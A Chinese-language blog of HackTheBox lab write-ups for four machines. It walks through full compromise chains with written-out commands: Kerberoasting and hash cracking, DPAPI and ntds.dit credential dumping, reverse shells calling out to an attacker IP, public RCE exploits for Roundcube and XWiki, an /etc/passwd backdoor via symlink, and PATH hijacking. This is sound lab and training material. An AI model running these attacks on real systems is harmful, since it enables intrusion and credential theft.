HackTheBox - Season 8 (2/2)
Week 8 - Voleur
🕒 2025/07/07
- IP:
10.10.11.76 - OS:
Windows - Difficulty:
Medium - Creds:
ryan.naylor|HollowOct31Nyt
1. Enumeration
首先，我們來用 nmap 掃這台機器的所有 ports 。
$ sudo nmap -sS -A -v -T4 -p- -oN nmap.txt 10.10.11.76
接下來，為了確認 DC 的具體 hostname ，我們使用 dig 向目標 DNS server 查詢：
$ dig ANY voleur.htb @10.10.11.76
可以看到 dig 的輸出結果中，回傳了 voleur.htb 與 dc.voleur.htb 的 A 紀錄指向10.10.11.76。
所以我們把 10.10.11.76 voleur.htb dc.voleur.htb 加進去 /etc/hosts ：
/etc/hosts
2. SMB
官方有給一組帳號密碼，我們嘗試列舉 SMB shares ：
$ nxc smb 10.10.11.76 -d voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' --shares
伺服器回傳了 STATUS_NOT_SUPPORTED ，這通常意味著目標機器（DC）禁用了 NTLM 認證，或者強制要求更安全的認證機制。因此，我們嘗試改用 Kerberos 協定來進行存取：
$ impacket-getTGT voleur.htb/ryan.naylor:'HollowOct31Nyt' -dc-ip 10.10.11.76
$ KRB5CCNAME=/home/kali/HTB/S8/voleur/kerberos/ryan.naylor.ccache nxc smb dc.voleur.htb -d voleur.htb --use-kcache --shares
成功列舉出 SMB shares 後，發現了一個非預設的共享目錄 IT 。我們使用 impacket-smbclient 連入查看：
$ KRB5CCNAME=/home/kali/HTB/S8/voleur/kerberos/ryan.naylor.ccache impacket-smbclient -k -no-pass -dc-ip 10.10.11.76 voleur.htb/ryan.naylor@dc.voleur.htb
# use IT
在 IT 目錄中發現了一份敏感文件 Access_Review.xlsx ：
下載 Access_Review.xlsx 後發現該檔案受到密碼保護。我們使用 office2john 提取 hash ，並透過 John the Ripper 進行暴力破解：
$ office2john Access_Review.xlsx > hash.txt
$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --rules=Wordlist
成功破解密碼為： football1 。
開啟 Excel 檔案後，我們獲得了多組帳號與其密碼：
todd.wolfe|NightT1meP1dg3on14svc_ldap|M1XyC9pW7qT5Vnsvc_iis|N5pXyW1VqM7CZ8
我們隨即驗證了這些帳號的有效性，確認 svc_ldap 及 svc_iis 可申請到 Kerberos TGT，表示其密碼是正確的：
$ impacket-getTGT voleur.htb/todd.wolfe:'NightT1meP1dg3on14' -dc-ip 10.10.11.76$ impacket-getTGT voleur.htb/svc_ldap:'M1XyC9pW7qT5Vn' -dc-ip 10.10.11.76$ impacket-getTGT voleur.htb/svc_iis:'N5pXyW1VqM7CZ8' -dc-ip 10.10.11.76
3. svc_ldap -> svc_winrm (Targeted Kerberoasting)
為了尋找更進一步的攻擊路徑，我們使用 bloodhound-python 遠端蒐集網域內的物件關係與權限設定：
我們發現 svc_ldap 對 svc_winrm 擁有 WriteSPN 權限。我們可以嘗試利用 Targeted Kerberoasting 取得 svc_winrm 的密碼，即可遠端 WinRM 登入。
WriteSPN ：
這是一個非常危險的配置，因為它允許攻擊者對該帳號執行 Targeted Kerberoasting 攻擊。一般的使用者帳號預設沒有 SPN ，因此無法進行 Kerberoasting。但擁有此權限後，我們可以強行幫 svc_winrm 寫入一個 SPN ，使其變成可被 Kerberoast 的狀態。
我們準備了一個 add-spn.ldif 檔案（內容是增加一個任意的 SPN ），並使用 ldapmodify 利用 svc_ldap 的權限將其寫入 AD ：
$ ldapmodify -H ldap://10.10.11.76 -D 'voleur\svc_ldap' -w 'M1XyC9pW7qT5Vn' -f add-spn.ldif
一旦 SPN 寫入成功，svc_winrm 就變成了一個服務帳號。現在我們可以使用標準的 Kerberoasting 手法，向 KDC 請求該帳號的 TGS ：
$ impacket-getTGT voleur.htb/svc_ldap:'M1XyC9pW7qT5Vn' -dc-ip 10.10.11.76
$ KRB5CCNAME=/home/kali/HTB/S8/voleur/kerberos/svc_ldap.ccache impacket-GetUserSPNs -request -dc-ip 10.10.11.76 -dc-host dc.voleur.htb -k -no-pass -outputfile hashes_kerberoast.txt voleur.htb/svc_ldap
成功取得 hash 後，使用 hashcat 搭配 rockyou.txt 字典進行破解：
$ hashcat -m 13100 hashes_kerberoast.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
成功破解： svc_winrm | AFireInsidedeOzarctica980219afi
接下來，我們設定 Kerberos 環境並利用 evil-winrm 嘗試登入 ：
獲取 svc_winrm 的 TGT ：
impacket-getTGT voleur.htb/svc_winrm:'AFireInsidedeOzarctica980219afi' -dc-ip 10.10.11.76
配置 krb5.conf ：
krb5.conf
利用 evil-winrm 嘗試登入 (設定環境變數以使其正確指向指定的 krb5.conf 以及 .ccache) ：
以 svc_winrm 登入成功，拿到 user flag ：
C:\Users\svc_winrm\Desktop\user.txt
4. Recover Deleted User (Todd Wolfe)
在先前的枚舉階段，我們從 Access_Review.xlsx 取得 todd.wolfe 的密碼，並得知 todd.wolfe 很有可能被刪除。
我們嘗試搜尋 AD 中的 Deleted Objects 。然而，當前身分 svc_winrm 權限不足，無法讀取該容器內容。
基於帳號命名慣例， svc_ldap 極有可能擁有讀取 Deleted Objects 甚至還原物件的權限。我們利用先前破解出的密碼 M1XyC9pW7qT5Vn ，使用 RunasCs 以 svc_ldap 的身分建立 reverse shell 連線：
> .\RunasCs.exe svc_ldap "M1XyC9pW7qT5Vn" cmd.exe -r 10.10.14.6:443
nc -nvlp 443
成功取得 svc_ldap 的權限後，我們來查詢已刪除的物件：
> Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
指令成功列出了 Deleted Objects 容器的內容，並在其中發現了目標使用者：
DisplayName: Todd WolfeObjectGUID: 1c6b1deb-c372-4cbb-87b1-15031de169dbDescription: Second-Line Support Technician
這證實了 Todd Wolfe 確實存在於資源回收桶中。確認目標後，我們執行還原使用者操作：
Restore-ADObject -Identity 1c6b1deb-c372-4cbb-87b1-15031de169db
帳號還原成功後，我們使用 Excel 中紀錄的密碼 NightT1meP1dg3on14，再次利用 RunasCs 進行身分切換，取得 todd.wolfe 的 reverse shell ：
> .\RunasCs.exe todd.wolfe "NightT1meP1dg3on14" cmd.exe -r 10.10.14.4:443
$ nc -nvlp 443
5. DPAPI (Sensitive File)
在取得 todd.wolfe 的 shell 之後，我們對其家目錄與相關備份檔案進行列舉。在 C:\IT 目錄下，我們發現了一個名為 Archived Users 的資料夾，其中似乎備份了舊使用者的設定檔。
在路徑 C:\IT\Second-Line Support\Archived Users\todd.wolfe\ 中，我們發現了兩個關鍵的 DPAPI 相關檔案路徑：
- Credential Blob: 位於
AppData\Roaming\Microsoft\Credentials\下，檔名為772275FAD58525253490A9B0039791D3。這通常包含儲存的網路密碼、RDP 憑證等。
- Master Key File: 位於
AppData\Roaming\Microsoft\Protect\{SID}\下，檔名為08949382-134f-4c63-b93c-ce52efc0aa88。
DPAPI (Data Protection API)：
DPAPI 是 Windows 內建的密碼保護機制，用於安全儲存使用者的敏感資訊（如瀏覽器密碼、Wi-Fi 金鑰、RDP 憑證等），而無需讓應用程式自行管理加密金鑰。
DPAPI 採用層級式的金鑰架構：
- 使用者登入密碼：作為加密的根基。
- Master Key：由登入密碼加密保護，儲存於
%APPDATA%\Microsoft\Protect\{SID}。 - Credential Blob：實際的機密檔案（如我們發現的
772275FAD...），由 Master Key 進行加密。
攻擊思路：
由於 DPAPI 的安全性依賴於使用者的登入密碼，一旦攻擊者獲取了 明文密碼 (或 NTLM Hash) 及使用者的 SID，即可離線解密 Master Key，進而還原所有受該帳號保護的敏感憑證。
我們將這兩個檔案下載到攻擊機上，使用 impacket-dpapi 進行解密。
首先，我們利用使用者的密碼與 SID 來解密 Master Key 檔案，取得原始的 Master Key ：
$ impacket-dpapi masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password 'NightT1meP1dg3on14'
我們獲得了一串 Master Key 。
接著，我們使用剛剛取得的 Master Key 來解密那個神祕的憑證檔案 772275FAD...：
impacket-dpapi credential -file 772275FAD58525253490A9B0039791D3 -key "0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83"
解密成功。輸出顯示該憑證檔案中儲存了一組網域使用者的帳號密碼： jeremy.combs | qT3V9pLXyN7W4m
6. jeremy.combs -> svc_backup
同樣因為 NTLM 限制，我們透過 Kerberos 登入 jeremy.combs 的帳號：
成功取得 jeremy.combs 的 shell。
登入後，我們繼續對 C:\IT 目錄進行深入挖掘。由於 jeremy.combs 的權限似乎比前一個使用者更高（屬於 Third-Line Support 相關人員），我們現在可以存取之前無法進入的資料夾。
進入 C:\IT\Third-Line Support 目錄後，我們發現了一個資料夾 Backups （權限不足）、兩個檔案 id_rsa 、 Note.txt.txt ：
\IT\Third-Line Support
回顧最早在 Access_Review.xlsx 發現的使用者清單，我們推論此 SSH key id_rsa 屬於 user svc_backup 。
我們將 id_rsa 下載到攻擊機，嘗試對目標主機以 svc_backup 進行 SSH 連線（port 2222）：
$ ssh -i id_rsa svc_backup@10.10.11.76 -p 2222
登入成功。我們成功取得了 svc_backup 的 shell (WSL)。
7. svc_backup -> Administrator
成功透過 SSH 登入 svc_backup 後，我們發現這是一個掛載了 Windows 檔案系統的環境 (WSL)。
我們前往先前在 IT 目錄下看到的備份路徑 /mnt/c/IT/Third-Line Support/Backups 進行查看。在這裡，我們發現了兩個代表網域最高權限的關鍵檔案：
ntds.dit: 這是 AD 的核心資料庫，包含了網域內所有物件的資訊以及所有使用者的 password hash 。SYSTEM: 這是 Windows 的系統登錄檔 (Registry Hive)，裡面包含了用來解密ntds.dit的 Boot Key (System Key)。
我們將這兩個檔案下載回攻擊機，並使用 impacket-secretsdump 進行離線提取。由於我們同時擁有資料庫 (-ntds) 和解密金鑰 (-system)，我們可以瞬間匯出網域內所有使用者的 NTLM hash ：
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
我們成功取得了 Administrator 的 hash 。
取得 Administrator 的 hash 後，由於目標環境限制 NTLM 驗證，我們再次使用 Pass-the-Hash 的技巧向 KDC 請求 Kerberos TGT ，透過 Kerberos 的方式登入：
最後，以 Administrator 的身份取得 root flag ：
C:\Users\Administrator\Desktop\root.txt
Week 9 - Outbound
🕒 2025/07/14
- IP:
10.10.11.77 - OS:
Linux - Difficulty:
Easy - Credentials:
tyler|LhKL1o9Nm3X2
1. Nmap
首先，我們來用 nmap 掃這台機器的所有 ports 。
sudo nmap -sS -A -v -T4 -p- -oN nmap.txt 10.10.11.77
可以看到， port 80 是開啟的，且該網頁會重導向至 http://mail.outbound.htb/ 。
我們將 outbound.htb 與 mail.outbound.htb 加入 /etc/hosts 文件中：
/etc/hosts
2. Website
訪問 http://mail.outbound.htb/ ：
我們看到了一個 Webmail 的登入頁面。
我們用提供的帳號密碼登入：
成功登入後，點擊頁面上的 About 查看此服務的資訊，確認該 Webmail 系統為 Roundcube Webmail ，版本號為 1.6.10 。
3. CVE-2025-49113
經過搜尋 Roundcube 1.6.10 的相關漏洞，我們鎖定了 CVE-2025-49113。這是一個嚴重的高風險漏洞，允許經過身份驗證的使用者在伺服器上執行任意程式碼 (Authenticated RCE)。
我們使用 GitHub 上公開的 PoC 腳本來進行攻擊：
https://github.com/hakaioffsec/CVE-2025-49113-exploit
先架好 netcat listener ，接下來執行攻擊指令：
$ php CVE-2025-49113.php http://mail.outbound.htb/ tyler 'LhKL1o9Nm3X2' "bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'"
$ nc -nvlp 443
成功獲得了目標機器的 shell (www-data) 。
4. Sensetive Files (www-data -> jacob)
在取得 www-data 權限後，我們開始對網站目錄進行枚舉，尋找設定檔或其他敏感資訊。
我們在 /var/www/html/roundcube/config/ 目錄下發現了 config.inc.php。這通常是 Web 應用程式的核心設定檔：
/var/www/html/roundcube/config/config.inc.php
我們獲取了兩個關鍵資訊：
- Database Credentials:
$config['db_dsnw']揭露了資料庫連線字串，包含使用者roundcube與密碼RCDBPass2025。 - DES Key:
$config['des_key']，這是 Roundcube 用來加密 Session 資料的密鑰。
利用取得的憑證登入 MySQL 資料庫，經過一番查找，我們在 DB roundcube 的 table session 找到一筆可疑的紀錄：
$ mysql -u roundcube -p'RCDBPass2025' roundcube -e 'SELECT * FROM session;'
查詢結果顯示該筆資料的 vars 欄位包含了一長串 Base64 編碼後的 Session 數據，這很可能隱藏了使用者的敏感資訊。
我們首先對資料庫中的 vars 欄位進行 Base64 解碼：
解碼後的內容仍然是加密的亂碼。為了還原明文，我們利用先前在 config.inc.php 找到的 des_key，並編寫了一個 Python 腳本來進行 DES 解密。
成功取得 jacob 的密碼： 595mO8DmwGeD 。
我們嘗試用密碼 SSH 登入失敗，看來 jacob 沒有跟網站設相同的密碼。
以 jacob 登入網站：
成功以 jacob 登入，我們在 jacob 的 inbox 發現敏感資訊，是 jacob 的密碼：
以此密碼成功登入 jacob ：
$ sshpass -p 'gY4Wr3a1evp4' ssh jacob@10.10.11.77
成功拿到 user flag ：
/home/jacob/user.txt
5. Abusing sudo (CVE-2025-27591)
取得使用者權限後，我們檢查 sudo 權限，發現 jacob 可以免密碼以 root 身分執行 /usr/bin/below ：
$ sudo -l
為了確認該軟體是否存在已知漏洞，我們嘗試找出它的版本號。在 Rust 的專案設定檔 Cargo.toml 中，我們確認了其版本為 0.8.0。
/opt/below/below/config/Cargo.toml
根據此篇的揭露，below 的 0.8.1 版本之前存在一個本地提權漏洞 (CVE-2025-27591)。
當 below 以 root 權限啟動 record 模式時，它會寫入日誌檔 /var/log/below/error_root.log 。然而，程式沒有正確檢查該檔案是否為 symlink ，且可能會改變該檔案的權限或允許寫入。這允許攻擊者透過 Symlink Attack 覆蓋或修改系統上的任意檔案。
我們的目標是取得 /etc/passwd 的寫入權限，並新增一個 root 權限的使用者。
-
原先的
/etc/passwd權限：
-
建立惡意連結
首先，刪除原本的 log 檔，並建立一個指向/etc/passwd的 symlink ：
-
觸發漏洞
接著，利用 sudo 啟動 below 的 record 模式。這會觸發程式以 root 權限開啟我們連結的/etc/passwd，並因漏洞導致權限改變：$ sudo /usr/bin/below record
可以看到，
/etc/passwd的權限變為rw-rw-rw- -
新增後門帳號
漏洞觸發成功後，我們獲得了對/etc/passwd的編輯權限。我們直接在檔案末端加入一個擁有 root 權限的使用者root2：
接著就可以利用新建立的 root2 帳號透過 SSH 登入系統：
$ sshpass -p 'P@55w0rd' ssh root2@10.10.11.77
登入成功，確認 UID 為 0。
最後讀取 root flag ：
/root/root.txt
Week 10 - Mirage (unsolved)
[UNSOLVED]
- IP:
10.10.11.78 - OS:
Windows - Difficulty:
Hard
Week 11 - Era
🕒 2025/08/02
- IP:
10.10.11.79 - OS:
Linux - Difficulty:
Medium
1. Nmap
首先，我們來用 nmap 掃這台機器的所有 ports 。
sudo nmap -sS -A -v -T4 -p- -oN nmap.txt 10.10.11.79
2. Website
ports 80 是開的，我們可以試著造訪看看。
先把 era.htb 加進 /etc/hosts ：
造訪 http://era.htb/ ：
由於主站 http://era.htb 上並沒有發現太多有價值的資訊，我們轉而檢查是否存在其他 virtual host ：
$ gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://era.htb --append-domain -t 32 -o gobuster-vhost.txt
掃描結果成功發現了一個子網域：file.era.htb 。
將其加入 /etc/hosts ：
造訪 http://file.era.htb/ ：
- 點擊
Sign in後的畫面：
- 點擊
login using security questions後的畫面：
這似乎是一個文件管理系統。
在 Log in Using Security Questions 頁面，我們發現到如果輸入不存在的使用者名稱，系統會直接返回錯誤訊息： User not found. ：
這個是一個可以利用的漏洞。攻擊者可以利用這一點來判斷哪些使用者名稱是存在於資料庫中的。
我們使用 ffuf 針對 security_login.php 進行 fuzzing 。我們將 payload 設定在 username 參數，並使用 -fr "User not found." 來過濾掉那些查無此人的回應，藉此篩選出有效的帳號：
相同情況，在此網站的登入頁面，當我們輸入錯誤密碼時，系統會直接返回錯誤訊息： Invalid username or password. ：
我們一一代入前述發現的使用者，並搭配 rockyou.txt 字典進行密碼爆破。我們使用 -fr "Invalid username or password." 來過濾登入失敗的回應：
當我們代入 eric 時，找到了匹配的密碼： eric | america
我們現在擁有一組有效的憑證，我們成功登入系統：
3. IDOR
成功登入後，我們嘗試從上傳頁面上傳了一個測試文件 test.pdf 。觀察下載連結，發現其結構非常簡單： http://file.era.htb/download.php?id=7378
這裏的 id 參數似乎缺乏存取控制，我們懷疑存在 IDOR (Insecure Direct Object References) 漏洞。
http://file.era.htb/download.php?id=1
使用 ffuf 針對 id 進行遍歷，尋找系統中已存在的隱藏檔案：
$ seq 0 10000 | ffuf -w - -u "http://file.era.htb/download.php?id=FUZZ" -H "Cookie: PHPSESSID=de3v6rl5hg8if7ou00qrohm6cm" -fr "File Not Found" -t 50
掃描結果：
除了我們上傳的檔案外，發現了兩個 id ：
4. Sensitive Files
site-backup-30-08-24.zip 似乎是此網站的程式碼備份。
解壓縮後，發現有 filedb.sqlite ，我們使用 sqlite3 分析 filedb.sqlite ：
$ sqlite3 filedb.sqlite
> .dump
我們獲取了關鍵的使用者資訊：
- 管理員使用者名稱：
admin_ef01cab31aa - 許多使用者的 password hashes
我們使用 hashcat 嘗試破解 (mode 3200 bcrypt)
$ hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
結果只破解了兩位使用者：
eric|americayuri|mustang
eric 我們已經知道了密碼； yuri 只是一位普通的使用者。
接下來，我們查看 site-backup-30-08-24.zip 裡頭的 download.php ，發現了一個嚴重的漏洞：
download.php
漏洞分析：
這段程式碼是用來預覽檔案的。如果 $_GET['show'] 為 true 且當前使用者是管理員 ($_SESSION['erauser'] === 1)，系統會執行 fopen。 最致命的是，它允許我們透過 $_GET['format'] 控制 fopen 的 wrapper。這意味著我們可以利用 PHP 的 stream wrappers (php://filter 、 expect:// 、 data:// …) 來執行系統命令。
攻擊條件：
- 必須登入為
admin_ef01cab31aa(session ID 為 1)。 - 利用
format參數注入惡意 wrapper。
為了滿足上述條件，我們必須成為管理員。我們回到網站的 Update Security Questions 頁面。雖然我們登入的是 eric ，但我們懷疑這裡同樣沒有驗證被修改的使用者是否為當前登入者。
我們來嘗試修改 admin_ef01cab31aa 的安全問題：
嘗試利用 Log in Using Security Questions 登入：
登入 admin_ef01cab31aa 成功。
5. RCE
取得管理員權限後，我們回到 download.php 的漏洞。我們初步嘗試常見的 RCE wrapper（php://filter 、 expect:// …）並未成功，這暗示伺服器可能未安裝或禁用了這些 extension 。
做進一步的 enumeration ，發現我們可以以 yuri:mustang 登入 FTP ：
資料夾 php8.1_conf ：
在 php8.1_conf 目錄下，我們發現了伺服器載入的 PHP extension 清單 (.so files)。
在檔案列表中，我們注意到了 ssh2.so 。這意味著伺服器安裝了 PHP 的 SSH2 擴展，意即 fopen 支援 ssh2.exec:// wrapper。
我們構造一個 payload，以 eric 的身份透過 SSH 協定連線回 localhost 並執行 Bash reverse shell。
Payload：
架好 netcat listener 後，我們利用已登入 admin_ef01cab31aa 的瀏覽器 session，訪問我們構造的 payload URL ：
- Payload URL：
$ nc -nvlp 443
- User Flag
/home/eric/user.txt
成功取得 shell ，並拿到 user flag。
6. Abusing Cron Jobs (Scheduled Tasks) (eric -> root)
為了找出潛在的提權路徑，我們上傳並執行了 pspy64 來監控系統背景程序：
由於我們看不到 initiate_monitoring.sh 的內容，故我們只能推論其自動化任務的邏輯：
bash -c /root/initiate_monitoring.sh- root 每分鐘都會執行
/root/initiate_monitoring.sh此腳本
- root 每分鐘都會執行
objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor- 從目標執行檔
/opt/AV/periodic-checks/monitor中，提取了一個名為.text_sig的區段，並存成暫存檔text_sig_section.bin
- 從目標執行檔
openssl asn1parse -inform DER -in text_sig_section.bin- 解析剛剛提取出來的 binary ，並將其視為 ASN.1 格式 (常見於憑證或簽章)
grep -oP (?<=UTF8STRING :)Era Inc.
grep -oP (?<=IA5STRING :)yurivich@era.com- 腳本並不檢查檔案的 hash 或真正的數位簽章，它只是在解析出來的內容中尋找兩個特定字串：
Era Inc.與yurivich@era.com
- 腳本並不檢查檔案的 hash 或真正的數位簽章，它只是在解析出來的內容中尋找兩個特定字串：
/opt/AV/periodic-checks/monitor- 如果上述的
grep檢查都通過了，系統就會以 root 執行monitor
- 如果上述的
我們先檢查目標檔案的權限。我們發現 /opt/AV/periodic-checks/monitor 對於 eric 是可寫入 (writable) 的。
我們先把 /opt/AV/periodic-checks/monitor 替換成 reverse shell 看看。
以下是我們準備的 shell.c ， complie 成我們要的 reverse shell binary ：
成功複製過去後，我們發現 reverse shell 沒有成功。以下為其 log 檔顯示的內容：
如果們的預期，如果沒有通過上述的簽章檢查，程式將不會被執行。
為了繞過這個檢查機制，我們需要將合法程式的簽章移植到我們的惡意程式上 (Signature Forgery) 。
以下為攻擊步驟：
-
竊取合法簽章
模仿 pspy 觀察到的指令，我們從原始合法的程式中提取.text_sig區段。$ objcopy --dump-section .text_sig=sig /opt/AV/periodic-checks/monitor
-
注入簽章
將提取出的合法簽章sig，注入到我們編譯好的惡意monitor中，並指定區段名稱為.text_sig：$ objcopy --add-section .text_sig=sig monitor
-
替換檔案
首先，我們備份一下monitor原檔。
備份原檔後，用我們偽造好簽章的惡意程式覆蓋目標：$ cp monitor /opt/AV/periodic-checks/monitor
覆蓋成功後，當下一次 cron job 執行時，我們的惡意程式因帶有合法的特徵字串而通過檢查，並被 root 執行。
$ nc -nvlp 443
成功取得 root 的 shell ，並取得 root flag 。
/root/root.txt
Week 12 - Editor
🕒 2025/08/07
- IP:
10.10.11.80 - OS:
Linux - Difficulty:
Easy
1. Nmap
首先，我們來用 nmap 掃這台機器的所有 ports 。
$ sudo nmap -sS -A -v -T4 -p- -oN nmap.txt 10.10.11.80
掃描結果分析：
- Port 22 (SSH): OpenSSH 8.9p1 Ubuntu。
- Port 80 (HTTP): Nginx 1.18.0。標題顯示無法重導向至
http://editor.htb/，提示我們需要設定 DNS 。 - Port 8080 (HTTP): Jetty 10.0.20。網頁標題顯示為
XWiki，這是一個關鍵的發現，且robots.txt揭露了許多/xwiki/路徑。
2. Website
由於 port 80 的掃描結果提示了 domain name，我們需要將其加入 /etc/hosts 以便正常瀏覽：
/etc/hosts
訪問 http://editor.htb/ ：
沒看到什麼特別的。
接著，訪問 http://10.10.11.80:8080/，網站自動導向至 XWiki 的介面：
在頁面的 footer 中，我們確認了運行的應用程式版本為 XWiki Debian 15.10.8。
3. CVE-2025-24893 RCE
經過搜尋發現 XWiki 15.10.8 版本存在 RCE 漏洞，編號為 CVE-2025-24893。這個漏洞允許攻擊者通過精心構造的請求在伺服器上執行任意代碼。
我們使用 GitHub 上的公開 exploit script 進行測試。
https://github.com/a1baradi/Exploit/blob/main/CVE-2025-24893.py
我們先執行腳本來嘗試讀取 /etc/passwd ：
$ python3 CVE-2025-24893.py
結果成功回傳了 /etc/passwd 的內容，證實漏洞存在且具備 RCE 能力。
下一步，取得 reverse shell 。
我們把 python 腳本的 payload 替換成 reverse shell payload ：
( busybox nc 10.10.14.14 443 -e sh )
再次執行修改後的 exploit ：
$ python3 CVE-2025-24893.py
$ nc -nvlp 443
成功收到連線，取得目標機器的 shell (xwiki) 。
4. Sensetive Files
取得 shell 後，我們開始搜尋有沒有敏感的文件。
針對 XWiki ， 設定檔通常位於 xwiki.properties 、 xwiki.cfg 、 hibernate.cfg.xml 。
查看設定檔 hibernate.cfg.xml ：
/etc/xwiki/hibernate.cfg.xml
在檔案中我們找到了資料庫的連線資訊：
- Username:
xwiki - Password:
theEd1t0rTeam99
雖然這是資料庫的密碼，但使用者常有密碼重複使用的習慣。我們查看 /etc/passwd 來找尋一般使用者，並用 SSH 去測試其密碼是否為 theEd1t0rTeam99 。
/etc/passwd
嘗試使用剛剛獲得的密碼登入 oliver 帳號：
$ sshpass -p 'theEd1t0rTeam99' ssh oliver@10.10.11.80
登入成功，拿到 user flag 。
/home/oliver/user.txt
5. CVE-2024-32019
在取得 oliver 的 shell 後，我們進一步檢查該使用者的群組與權限：
$ id
我們發現當前使用者屬於 netdata 群組。
接著，我們搜尋屬於該群組且具有特殊權限的檔案。我們找到了一個 SUID binary：
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
權限顯示為 -rwsr-x---，擁有者為 root，且 netdata 群組成員可執行。表示 oliver 能以 root 的最高權限來執行該程式。
經過搜尋，發現 Netdata 的 ndsudo 工具存在一個本地權限提升漏洞 (local privilege escalation)，編號 CVE-2024-32019。
漏洞原理：
ndsudo 是一個用來允許 Netdata 代理程式以 root 權限執行特定命令的工具。然而，舊版本的 ndsudo 在執行外部指令（如 nvme 相關指令）時，沒有使用絕對路徑，且未正確清理環境變數。這導致攻擊者可以透過 PATH hijacking（路徑劫持）的方式，偽造一個惡意的執行檔來替換合法的指令，進而取得 root 權限。
以下為攻擊步驟：
-
製作惡意執行檔
我們需要製作一個名稱為nvme的惡意程式，因為ndsudo支援執行nvme-list參數，底層會呼叫nvme指令。我們把這段用來設定 UID 為 0 (root) 並啟動 shell 的程式碼編譯成 binary
nvme：poc.c$ gcc poc.c -o nvme -static
-
修改 PATH 環境變數
將編譯好的惡意nvme檔案放置到/tmp目錄下：
並修改當前 shell 的 PATH 環境變數，將/tmp設為最高優先順序：$ export PATH=/tmp:$PATH
-
觸發漏洞
執行目標 SUID 程式並帶入nvme-list參數。由於我們劫持了 PATH ，ndsudo會以 root 權限去執行/tmp/nvme，而不是系統原本的/usr/sbin/nvme：$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
成功獲得了 root shell ，並拿到 root flag 。
/root/root.txt
Week 13 - Cobblestone (active) [依規定尚不可公開]
🕒 2025/08/15
[ROOT UNSOLVED]
- IP:
10.10.11.81 - OS:
Linux - Difficulty:
Insane